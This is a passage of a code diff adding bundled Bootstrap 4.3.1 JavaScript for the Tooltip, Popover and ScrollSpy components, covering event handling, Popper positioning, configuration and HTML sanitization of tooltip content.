INSERTED: "inserted" + EVENT_KEY$6, + CLICK: "click" + EVENT_KEY$6, + FOCUSIN: "focusin" + EVENT_KEY$6, + FOCUSOUT: "focusout" + EVENT_KEY$6, + MOUSEENTER: "mouseenter" + EVENT_KEY$6, + MOUSELEAVE: "mouseleave" + EVENT_KEY$6 + }; + var ClassName$6 = { + FADE: 'fade', + SHOW: 'show' + }; + var Selector$6 = { + TOOLTIP: '.tooltip', + TOOLTIP_INNER: '.tooltip-inner', + ARROW: '.arrow' + }; + var Trigger = { + HOVER: 'hover', + FOCUS: 'focus', + CLICK: 'click', + MANUAL: 'manual' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Tooltip = + /*#__PURE__*/ + function () { + function Tooltip(element, config) { + /** + * Check for Popper dependency + * Popper - https://popper.js.org + */ + if (typeof Popper === 'undefined') { + throw new TypeError('Bootstrap\'s tooltips require Popper.js (https://popper.js.org/)'); + } // private + + + this._isEnabled = true; + this._timeout = 0; + this._hoverState = ''; + this._activeTrigger = {}; + this._popper = null; // Protected + + this.element = element; + this.config = this._getConfig(config); + this.tip = null; + + this._setListeners(); + } // Getters + + + var _proto = Tooltip.prototype; + + // Public + _proto.enable = function enable() { + this._isEnabled = true; + }; + + _proto.disable = function disable() { + this._isEnabled = false; + }; + + _proto.toggleEnabled = function toggleEnabled() { + this._isEnabled = !this._isEnabled; + }; + + _proto.toggle = function toggle(event) { + if (!this._isEnabled) { + return; + } + + if (event) { + var dataKey = this.constructor.DATA_KEY; + var context = $(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $(event.currentTarget).data(dataKey, context); + } + + context._activeTrigger.click = !context._activeTrigger.click; + + if (context._isWithActiveTrigger()) { + context._enter(null, context); + } else { + context._leave(null, context); + } + } else { + if ($(this.getTipElement()).hasClass(ClassName$6.SHOW)) { + this._leave(null, this); + + return; + } + + this._enter(null, this); + } + }; + + _proto.dispose = function dispose() { + clearTimeout(this._timeout); + $.removeData(this.element, this.constructor.DATA_KEY); + $(this.element).off(this.constructor.EVENT_KEY); + $(this.element).closest('.modal').off('hide.bs.modal'); + + if (this.tip) { + $(this.tip).remove(); + } + + this._isEnabled = null; + this._timeout = null; + this._hoverState = null; + this._activeTrigger = null; + + if (this._popper !== null) { + this._popper.destroy(); + } + + this._popper = null; + this.element = null; + this.config = null; + this.tip = null; + }; + + _proto.show = function show() { + var _this = this; + + if ($(this.element).css('display') === 'none') { + throw new Error('Please use show on visible elements'); + } + + var showEvent = $.Event(this.constructor.Event.SHOW); + + if (this.isWithContent() && this._isEnabled) { + $(this.element).trigger(showEvent); + var shadowRoot = Util.findShadowRoot(this.element); + var isInTheDom = $.contains(shadowRoot !== null ? shadowRoot : this.element.ownerDocument.documentElement, this.element); + + if (showEvent.isDefaultPrevented() || !isInTheDom) { + return; + } + + var tip = this.getTipElement(); + var tipId = Util.getUID(this.constructor.NAME); + tip.setAttribute('id', tipId); + this.element.setAttribute('aria-describedby', tipId); + this.setContent(); + + if (this.config.animation) { + $(tip).addClass(ClassName$6.FADE); + } + + var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement; + + var attachment = this._getAttachment(placement); + + this.addAttachmentClass(attachment); + + var container = this._getContainer(); + + $(tip).data(this.constructor.DATA_KEY, this); + + if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) { + $(tip).appendTo(container); + } + + $(this.element).trigger(this.constructor.Event.INSERTED); + this._popper = new Popper(this.element, tip, { + placement: attachment, + modifiers: { + offset: this._getOffset(), + flip: { + behavior: this.config.fallbackPlacement + }, + arrow: { + element: Selector$6.ARROW + }, + preventOverflow: { + boundariesElement: this.config.boundary + } + }, + onCreate: function onCreate(data) { + if (data.originalPlacement !== data.placement) { + _this._handlePopperPlacementChange(data); + } + }, + onUpdate: function onUpdate(data) { + return _this._handlePopperPlacementChange(data); + } + }); + $(tip).addClass(ClassName$6.SHOW); // If this is a touch-enabled device we add extra + // empty mouseover listeners to the body's immediate children; + // only needed because of broken event delegation on iOS + // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html + + if ('ontouchstart' in document.documentElement) { + $(document.body).children().on('mouseover', null, $.noop); + } + + var complete = function complete() { + if (_this.config.animation) { + _this._fixTransition(); + } + + var prevHoverState = _this._hoverState; + _this._hoverState = null; + $(_this.element).trigger(_this.constructor.Event.SHOWN); + + if (prevHoverState === HoverState.OUT) { + _this._leave(null, _this); + } + }; + + if ($(this.tip).hasClass(ClassName$6.FADE)) { + var transitionDuration = Util.getTransitionDurationFromElement(this.tip); + $(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + } + }; + + _proto.hide = function hide(callback) { + var _this2 = this; + + var tip = this.getTipElement(); + var hideEvent = $.Event(this.constructor.Event.HIDE); + + var complete = function complete() { + if (_this2._hoverState !== HoverState.SHOW && tip.parentNode) { + tip.parentNode.removeChild(tip); + } + + _this2._cleanTipClass(); + + _this2.element.removeAttribute('aria-describedby'); + + $(_this2.element).trigger(_this2.constructor.Event.HIDDEN); + + if (_this2._popper !== null) { + _this2._popper.destroy(); + } + + if (callback) { + callback(); + } + }; + + $(this.element).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + return; + } + + $(tip).removeClass(ClassName$6.SHOW); // If this is a touch-enabled device we remove the extra + // empty mouseover listeners we added for iOS support + + if ('ontouchstart' in document.documentElement) { + $(document.body).children().off('mouseover', null, $.noop); + } + + this._activeTrigger[Trigger.CLICK] = false; + this._activeTrigger[Trigger.FOCUS] = false; + this._activeTrigger[Trigger.HOVER] = false; + + if ($(this.tip).hasClass(ClassName$6.FADE)) { + var transitionDuration = Util.getTransitionDurationFromElement(tip); + $(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + + this._hoverState = ''; + }; + + _proto.update = function update() { + if (this._popper !== null) { + this._popper.scheduleUpdate(); + } + } // Protected + ; + + _proto.isWithContent = function isWithContent() { + return Boolean(this.getTitle()); + }; + + _proto.addAttachmentClass = function addAttachmentClass(attachment) { + $(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment); + }; + + _proto.getTipElement = function getTipElement() { + this.tip = this.tip || $(this.config.template)[0]; + return this.tip; + }; + + _proto.setContent = function setContent() { + var tip = this.getTipElement(); + this.setElementContent($(tip.querySelectorAll(Selector$6.TOOLTIP_INNER)), this.getTitle()); + $(tip).removeClass(ClassName$6.FADE + " " + ClassName$6.SHOW); + }; + + _proto.setElementContent = function setElementContent($element, content) { + if (typeof content === 'object' && (content.nodeType || content.jquery)) { + // Content is a DOM node or a jQuery + if (this.config.html) { + if (!$(content).parent().is($element)) { + $element.empty().append(content); + } + } else { + $element.text($(content).text()); + } + + return; + } + + if (this.config.html) { + if (this.config.sanitize) { + content = sanitizeHtml(content, this.config.whiteList, this.config.sanitizeFn); + } + + $element.html(content); + } else { + $element.text(content); + } + }; + + _proto.getTitle = function getTitle() { + var title = this.element.getAttribute('data-original-title'); + + if (!title) { + title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title; + } + + return title; + } // Private + ; + + _proto._getOffset = function _getOffset() { + var _this3 = this; + + var offset = {}; + + if (typeof this.config.offset === 'function') { + offset.fn = function (data) { + data.offsets = _objectSpread({}, data.offsets, _this3.config.offset(data.offsets, _this3.element) || {}); + return data; + }; + } else { + offset.offset = this.config.offset; + } + + return offset; + }; + + _proto._getContainer = function _getContainer() { + if (this.config.container === false) { + return document.body; + } + + if (Util.isElement(this.config.container)) { + return $(this.config.container); + } + + return $(document).find(this.config.container); + }; + + _proto._getAttachment = function _getAttachment(placement) { + return AttachmentMap$1[placement.toUpperCase()]; + }; + + _proto._setListeners = function _setListeners() { + var _this4 = this; + + var triggers = this.config.trigger.split(' '); + triggers.forEach(function (trigger) { + if (trigger === 'click') { + $(_this4.element).on(_this4.constructor.Event.CLICK, _this4.config.selector, function (event) { + return _this4.toggle(event); + }); + } else if (trigger !== Trigger.MANUAL) { + var eventIn = trigger === Trigger.HOVER ? _this4.constructor.Event.MOUSEENTER : _this4.constructor.Event.FOCUSIN; + var eventOut = trigger === Trigger.HOVER ? _this4.constructor.Event.MOUSELEAVE : _this4.constructor.Event.FOCUSOUT; + $(_this4.element).on(eventIn, _this4.config.selector, function (event) { + return _this4._enter(event); + }).on(eventOut, _this4.config.selector, function (event) { + return _this4._leave(event); + }); + } + }); + $(this.element).closest('.modal').on('hide.bs.modal', function () { + if (_this4.element) { + _this4.hide(); + } + }); + + if (this.config.selector) { + this.config = _objectSpread({}, this.config, { + trigger: 'manual', + selector: '' + }); + } else { + this._fixTitle(); + } + }; + + _proto._fixTitle = function _fixTitle() { + var titleType = typeof this.element.getAttribute('data-original-title'); + + if (this.element.getAttribute('title') || titleType !== 'string') { + this.element.setAttribute('data-original-title', this.element.getAttribute('title') || ''); + this.element.setAttribute('title', ''); + } + }; + + _proto._enter = function _enter(event, context) { + var dataKey = this.constructor.DATA_KEY; + context = context || $(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $(event.currentTarget).data(dataKey, context); + } + + if (event) { + context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true; + } + + if ($(context.getTipElement()).hasClass(ClassName$6.SHOW) || context._hoverState === HoverState.SHOW) { + context._hoverState = HoverState.SHOW; + return; + } + + clearTimeout(context._timeout); + context._hoverState = HoverState.SHOW; + + if (!context.config.delay || !context.config.delay.show) { + context.show(); + return; + } + + context._timeout = setTimeout(function () { + if (context._hoverState === HoverState.SHOW) { + context.show(); + } + }, context.config.delay.show); + }; + + _proto._leave = function _leave(event, context) { + var dataKey = this.constructor.DATA_KEY; + context = context || $(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $(event.currentTarget).data(dataKey, context); + } + + if (event) { + context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false; + } + + if (context._isWithActiveTrigger()) { + return; + } + + clearTimeout(context._timeout); + context._hoverState = HoverState.OUT; + + if (!context.config.delay || !context.config.delay.hide) { + context.hide(); + return; + } + + context._timeout = setTimeout(function () { + if (context._hoverState === HoverState.OUT) { + context.hide(); + } + }, context.config.delay.hide); + }; + + _proto._isWithActiveTrigger = function _isWithActiveTrigger() { + for (var trigger in this._activeTrigger) { + if (this._activeTrigger[trigger]) { + return true; + } + } + + return false; + }; + + _proto._getConfig = function _getConfig(config) { + var dataAttributes = $(this.element).data(); + Object.keys(dataAttributes).forEach(function (dataAttr) { + if (DISALLOWED_ATTRIBUTES.indexOf(dataAttr) !== -1) { + delete dataAttributes[dataAttr]; + } + }); + config = _objectSpread({}, this.constructor.Default, dataAttributes, typeof config === 'object' && config ? config : {}); + + if (typeof config.delay === 'number') { + config.delay = { + show: config.delay, + hide: config.delay + }; + } + + if (typeof config.title === 'number') { + config.title = config.title.toString(); + } + + if (typeof config.content === 'number') { + config.content = config.content.toString(); + } + + Util.typeCheckConfig(NAME$6, config, this.constructor.DefaultType); + + if (config.sanitize) { + config.template = sanitizeHtml(config.template, config.whiteList, config.sanitizeFn); + } + + return config; + }; + + _proto._getDelegateConfig = function _getDelegateConfig() { + var config = {}; + + if (this.config) { + for (var key in this.config) { + if (this.constructor.Default[key] !== this.config[key]) { + config[key] = this.config[key]; + } + } + } + + return config; + }; + + _proto._cleanTipClass = function _cleanTipClass() { + var $tip = $(this.getTipElement()); + var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX); + + if (tabClass !== null && tabClass.length) { + $tip.removeClass(tabClass.join('')); + } + }; + + _proto._handlePopperPlacementChange = function _handlePopperPlacementChange(popperData) { + var popperInstance = popperData.instance; + this.tip = popperInstance.popper; + + this._cleanTipClass(); + + this.addAttachmentClass(this._getAttachment(popperData.placement)); + }; + + _proto._fixTransition = function _fixTransition() { + var tip = this.getTipElement(); + var initConfigAnimation = this.config.animation; + + if (tip.getAttribute('x-placement') !== null) { + return; + } + + $(tip).removeClass(ClassName$6.FADE); + this.config.animation = false; + this.hide(); + this.show(); + this.config.animation = initConfigAnimation; + } // Static + ; + + Tooltip._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $(this).data(DATA_KEY$6); + + var _config = typeof config === 'object' && config; + + if (!data && /dispose|hide/.test(config)) { + return; + } + + if (!data) { + data = new Tooltip(this, _config); + $(this).data(DATA_KEY$6, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Tooltip, null, [{ + key: "VERSION", + get: function get() { + return VERSION$6; + } + }, { + key: "Default", + get: function get() { + return Default$4; + } + }, { + key: "NAME", + get: function get() { + return NAME$6; + } + }, { + key: "DATA_KEY", + get: function get() { + return DATA_KEY$6; + } + }, { + key: "Event", + get: function get() { + return Event$6; + } + }, { + key: "EVENT_KEY", + get: function get() { + return EVENT_KEY$6; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType$4; + } + }]); + + return Tooltip; + }(); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + + $.fn[NAME$6] = Tooltip._jQueryInterface; + $.fn[NAME$6].Constructor = Tooltip; + + $.fn[NAME$6].noConflict = function () { + $.fn[NAME$6] = JQUERY_NO_CONFLICT$6; + return Tooltip._jQueryInterface; + }; + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$7 = 'popover'; + var VERSION$7 = '4.3.1'; + var DATA_KEY$7 = 'bs.popover'; + var EVENT_KEY$7 = "." + DATA_KEY$7; + var JQUERY_NO_CONFLICT$7 = $.fn[NAME$7]; + var CLASS_PREFIX$1 = 'bs-popover'; + var BSCLS_PREFIX_REGEX$1 = new RegExp("(^|\\s)" + CLASS_PREFIX$1 + "\\S+", 'g'); + + var Default$5 = _objectSpread({}, Tooltip.Default, { + placement: 'right', + trigger: 'click', + content: '', + template: '' + }); + + var DefaultType$5 = _objectSpread({}, Tooltip.DefaultType, { + content: '(string|element|function)' + }); + + var ClassName$7 = { + FADE: 'fade', + SHOW: 'show' + }; + var Selector$7 = { + TITLE: '.popover-header', + CONTENT: '.popover-body' + }; + var Event$7 = { + HIDE: "hide" + EVENT_KEY$7, + HIDDEN: "hidden" + EVENT_KEY$7, + SHOW: "show" + EVENT_KEY$7, + SHOWN: "shown" + EVENT_KEY$7, + INSERTED: "inserted" + EVENT_KEY$7, + CLICK: "click" + EVENT_KEY$7, + FOCUSIN: "focusin" + EVENT_KEY$7, + FOCUSOUT: "focusout" + EVENT_KEY$7, + MOUSEENTER: "mouseenter" + EVENT_KEY$7, + MOUSELEAVE: "mouseleave" + EVENT_KEY$7 + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Popover = + /*#__PURE__*/ + function (_Tooltip) { + _inheritsLoose(Popover, _Tooltip); + + function Popover() { + return _Tooltip.apply(this, arguments) || this; + } + + var _proto = Popover.prototype; + + // Overrides + _proto.isWithContent = function isWithContent() { + return this.getTitle() || this._getContent(); + }; + + _proto.addAttachmentClass = function addAttachmentClass(attachment) { + $(this.getTipElement()).addClass(CLASS_PREFIX$1 + "-" + attachment); + }; + + _proto.getTipElement = function getTipElement() { + this.tip = this.tip || $(this.config.template)[0]; + return this.tip; + }; + + _proto.setContent = function setContent() { + var $tip = $(this.getTipElement()); // We use append for html objects to maintain js events + + this.setElementContent($tip.find(Selector$7.TITLE), this.getTitle()); + + var content = this._getContent(); + + if (typeof content === 'function') { + content = content.call(this.element); + } + + this.setElementContent($tip.find(Selector$7.CONTENT), content); + $tip.removeClass(ClassName$7.FADE + " " + ClassName$7.SHOW); + } // Private + ; + + _proto._getContent = function _getContent() { + return this.element.getAttribute('data-content') || this.config.content; + }; + + _proto._cleanTipClass = function _cleanTipClass() { + var $tip = $(this.getTipElement()); + var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX$1); + + if (tabClass !== null && tabClass.length > 0) { + $tip.removeClass(tabClass.join('')); + } + } // Static + ; + + Popover._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $(this).data(DATA_KEY$7); + + var _config = typeof config === 'object' ? config : null; + + if (!data && /dispose|hide/.test(config)) { + return; + } + + if (!data) { + data = new Popover(this, _config); + $(this).data(DATA_KEY$7, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Popover, null, [{ + key: "VERSION", + // Getters + get: function get() { + return VERSION$7; + } + }, { + key: "Default", + get: function get() { + return Default$5; + } + }, { + key: "NAME", + get: function get() { + return NAME$7; + } + }, { + key: "DATA_KEY", + get: function get() { + return DATA_KEY$7; + } + }, { + key: "Event", + get: function get() { + return Event$7; + } + }, { + key: "EVENT_KEY", + get: function get() { + return EVENT_KEY$7; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType$5; + } + }]); + + return Popover; + }(Tooltip); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + + $.fn[NAME$7] = Popover._jQueryInterface; + $.fn[NAME$7].Constructor = Popover; + + $.fn[NAME$7].noConflict = function () { + $.fn[NAME$7] = JQUERY_NO_CONFLICT$7; + return Popover._jQueryInterface; + }; + + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$8 = 'scrollspy'; + var VERSION$8 = '4.3.1'; + var DATA_KEY$8 = 'bs.scrollspy'; + var EVENT_KEY$8 = "." + DATA_KEY$8; + var DATA_API_KEY$6 = '.data-api'; + var JQUERY_NO_CONFLICT$8 = $.fn[NAME$8]; + var Default$6 = { + offset: 10, + method: 'auto', + target: '' + }; + var DefaultType$6 = { + offset: 'number', + method: 'string', + target: '(string|element)' + }; + var Event$8 = { + ACTIVATE: "activate" + EVENT_KEY$8, + SCROLL: "scroll" + EVENT_KEY$8, + LOAD_DATA_API: "load" + EVENT_KEY$8 + DATA_API_KEY$6 + }; + var ClassName$8 = { + DROPDOWN_ITEM: 'dropdown-item', + DROPDOWN_MENU: 'dropdown-menu', + ACTIVE: 'active' + }; + var Selector$8 = { + DATA_SPY: '[data-spy="scroll"]', + ACTIVE: '.active', + NAV_LIST_GROUP: '.nav, .list-group', + NAV_LINKS: '.nav-link', + NAV_ITEMS: '.nav-item', + LIST_ITEMS: '.list-group-item', + DROPDOWN: '.dropdown', + DROPDOWN_ITEMS: '.dropdown-item', + DROPDOWN_TOGGLE: '.dropdown-toggle' + }; + var OffsetMethod = { + OFFSET: 'offset', + POSITION: 'position' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var ScrollSpy = + /*#__PURE__*/ + function () { + function ScrollSpy(element, config) { + var _this = this; + + this._element = element; + this._scrollElement = element.tagName === 'BODY' ? window : element; + this._config = this._getConfig(config); + this._selector = this._config.target + " " + Selector$8.NAV_LINKS + "," + (this._config.target + " " + Selector$8.LIST_ITEMS + ",") + (this._config.target + " " + Selector$8.DROPDOWN_ITEMS); + this._offsets = []; + this._targets = []; + this._activeTarget = null; + this._scrollHeight = 0; + $(this._scrollElement).on(Event$8.SCROLL, function (event) { + return _this._process(event); + }); + this.refresh(); + + this._process(); + } // Getters + + + var _proto = ScrollSpy.prototype; + + // Public + _proto.refresh = function refresh() { + var _this2 = this; + + var autoMethod = this._scrollElement === this._scrollElement.window ? OffsetMethod.OFFSET : OffsetMethod.POSITION; + var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method; + var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0; + this._offsets = []; + this._targets = []; + this._scrollHeight = this._getScrollHeight(); + var targets = [].slice.call(document.querySelectorAll(this._selector)); + targets.map(function (element) { + var target; + var targetSelector = Util.getSelectorFromElement(element); + + if (targetSelector) { + target = document.querySelector(targetSelector); + } + + if (target) { + var targetBCR = target.getBoundingClientRect(); + + if (targetBCR.width || targetBCR.height) { + // TODO (fat): remove sketch reliance on jQuery position/offset + return [$(target)[offsetMethod]().top + offsetBase, targetSelector]; + } + } + + return null; + }).filter(function (item) { + return item; + }).sort(function (a, b) { + return a[0] - b[0]; + }).forEach(function (item) { + _this2._offsets.push(item[0]); + + _this2._targets.push(item[1]); + }); + }; + + _proto.dispose = function dispose() { + $.removeData(this._element, DATA_KEY$8); + $(this._scrollElement).off(EVENT_KEY$8); + this._element = null; + this._scrollElement = null; + this._config = null; + this._selector = null; + this._offsets = null; + this._targets = null; + this._activeTarget = null; + this._scrollHeight = null; + } // Private + ; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default$6, typeof config === 'object' && config ? config : {}); + + if (typeof config.target !== 'string') { + var id = $(config.target).attr('id'); + + if (!id) { + id = Util.getUID(NAME$8); + $(config.target).attr('id', id); + } + + config.target = "#" + id; + } + + Util.typeCheckConfig(NAME$8, config, DefaultType$6); + return config; + }; + + _proto._getScrollTop = function _getScrollTop() { + return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop; + }; + + _proto._getScrollHeight = function _getScrollHeight() { + return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight); + }; + + _proto._getOffsetHeight = function _getOffsetHeight() { + return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height; + }; + + _proto._process = function _process() { + var scrollTop = this._getScrollTop() + this._config.offset; + + var scrollHeight = this._getScrollHeight(); + + var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight(); + + if (this._scrollHeight !== scrollHeight) { + this.refresh(); + } + + if (scrollTop >= maxScroll) { + var target = this._targets[this._targets.length - 1]; + + if (this._activeTarget !== target) { + this._activate(target); + } + + return; + } + + if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) { + this._activeTarget = null; + + this._clear(); + + return; + } + + var offsetLength = this._offsets.length; + + for (var i = offsetLength; i--;) { + var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]); + + if (isActiveTarget) { + this._activate(this._targets[i]); + } + } + }; + + _proto._activate = function _activate(target) { + this._activeTarget = target; + + this._clear(); + + var queries = this._selector.split(',').map(function (selector) { + return selector + "[data-target=\"" + target + "\"]," + selector + "[href=\"" + target + "\"]"; + }); + + var $link = $([].slice.call(document.querySelectorAll(queries.join(',')))); + + if ($link.hasClass(ClassName$8.DROPDOWN_ITEM)) { + $link.closest(Selector$8.DROPDOWN).find(Selector$8.DROPDOWN_TOGGLE).addClass(ClassName$8.ACTIVE); + $link.addClass(ClassName$8.ACTIVE); + } else { + // Set triggered link as active + $link.addClass(ClassName$8.ACTIVE); // Set triggered links parents as active + // With both